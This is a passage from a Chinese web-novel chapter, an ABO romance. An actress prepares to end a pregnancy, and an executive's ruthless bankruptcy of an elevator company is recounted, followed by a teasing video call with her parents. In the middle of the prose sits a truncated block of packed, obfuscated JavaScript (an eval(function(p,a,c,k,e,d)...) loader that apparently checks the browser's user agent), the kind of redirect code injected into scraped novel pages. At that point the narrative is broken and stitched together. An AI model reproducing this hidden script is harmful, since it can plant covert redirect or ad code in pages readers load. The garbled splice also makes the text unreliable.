“薄小姐,您记得您的手术安排在下周三,这段时间要尽量清淡饮食的,今天摄入的酒精量实在太多了,哎得亏这孩子结实,检查着还健健康康的,母体不至于遭罪。” 教授的叮嘱打断薄霜思绪。 她轻轻抚摸小腹,眼中闪过一抹淡淡的难过,鼻尖涌上酸涩。 “好,麻烦教授不要将我怀孕一事告知纪总。” 纪从烟恰好抬起头,隔着两道门,和薄霜的视线碰了个正着。 · 距离手术时间只剩两天。 《晨曦》剧组也即将迎来第一次放假。 安纪娱乐管理下的所有剧组项目,开机后都遵循拍十天放假一天的工作制度,避免剧组工作人员过劳。 薄霜刻意挑在放假前一晚上进行手术,第二天还能休息,之后的几天全是文戏无需打斗。 打掉这个孩子的时机恰到好处。 九周零三天。 小腹隆起了轻微的弧度。 薄霜对不起她。 可女儿不能一出生就背负私生女的骂名。 “......听说差点夹死人了。” “嘶,圈内好几家顶级会所都在那栋楼里,电梯这么拉胯的吗?活该那电梯公司倒闭啊。” 休息间隔音差,隔壁几位助理高谈的声音传到这边。 薄霜轻声:“凡凡,查一下他们说的那家公司。” 柳凡迅速搜到了新闻,平板递到薄霜眼前。 【丰电科技惨遭一夜破产】 【直击丰电科技清算现场】 【曾经的电梯三巨头之一轰然陨落......】 快讯占满屏幕。 不过短短几日,一家公司便光速破产谢幕。 爬到娱乐圈顶层,薄霜自诩见过的资本手段繁多,可像纪从烟这样一句话就定下企业生死的,娱乐圈内还没谁有这个本事。 纪从烟手腕之雷霆冷硬,让她心里有种说不上来的滋味。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【家里有亲戚是丰电的员工,n+6不是丰电老板主动给的,是天龙人团队盯着丰电的财务给的,亲戚那天正常上班,大堂堆满了人,确认了员工身份就当场打款,贼豪爽】 【家里亲戚在丰电+1,据说丰电老总在朋友圈发疯,发自己跪地磕头道歉的视频】 【有没有天龙人来一下我们公司,也被夹一夹[感激不尽.jpg],不想上班了......】 柳凡难得摆了那些游手好闲的助理一道,笑着到薄霜面前邀功,虎牙在灯光下亮着,笑容纯粹。 “姐,我把他们都赶跑了!” 薄霜轻笑回应:“我们凡凡也是学会狐假虎威了。” 柳凡憨笑着挠头:“以前觉得纪总高不可攀,没想到纪总人很好呢,还特意让岑助交代休息室留给我们三。” 薄霜滑动着屏幕,垂眸婉声:“嗯,确实很好。” 同一时刻,纪氏集团顶层。 纪从烟接到了母亲的视频通话。 “这次有长进,不是只会莽冲等着我和你妈咪来收尾了,岑桑教你的?” “不对,岑桑跟你沆瀣一气来着。” 二十六岁的总裁,年少气盛,在生意场上向来勇往直前。 纪氏近些年的业务大多是纪从烟开拓拿下的。 少年人意气风发,手腕雷霆强横,无比霸道。 纪权尘也不拘着女儿,让她放手大胆去拼,大后方有她和妻子替纪从烟看着。 这些年,纪从烟扳倒并购的企业无数,但步伐太大节奏太密集,难免在人文关怀上有所疏忽,她们妻妻俩一直在给女儿擦屁股。 本想着再过一两年,等纪从烟年纪上来了,Alpha激素分泌不那么旺盛时,再引导孩子不能缺了人文关怀。 没想到出了一趟远门,纪从烟还自己有长进了。 纪从烟无奈:“妈,人是会进步的。” 纪权尘:“我怎么就那么怀疑你背后有军师呢?” 纪从烟噎住,淡声道:“新认识的一个女人教的。” 视频那端,纪权尘和宫语瞬间来了兴致:“Alpha还是Omega?” 纪从烟:“八卦,就不兴是beta?” 当妈的多了解女儿啊,一下明了,异口同声笃定道:“那就是Omega了。” 纪从烟那张明媚的脸一黑,直接挂断通话。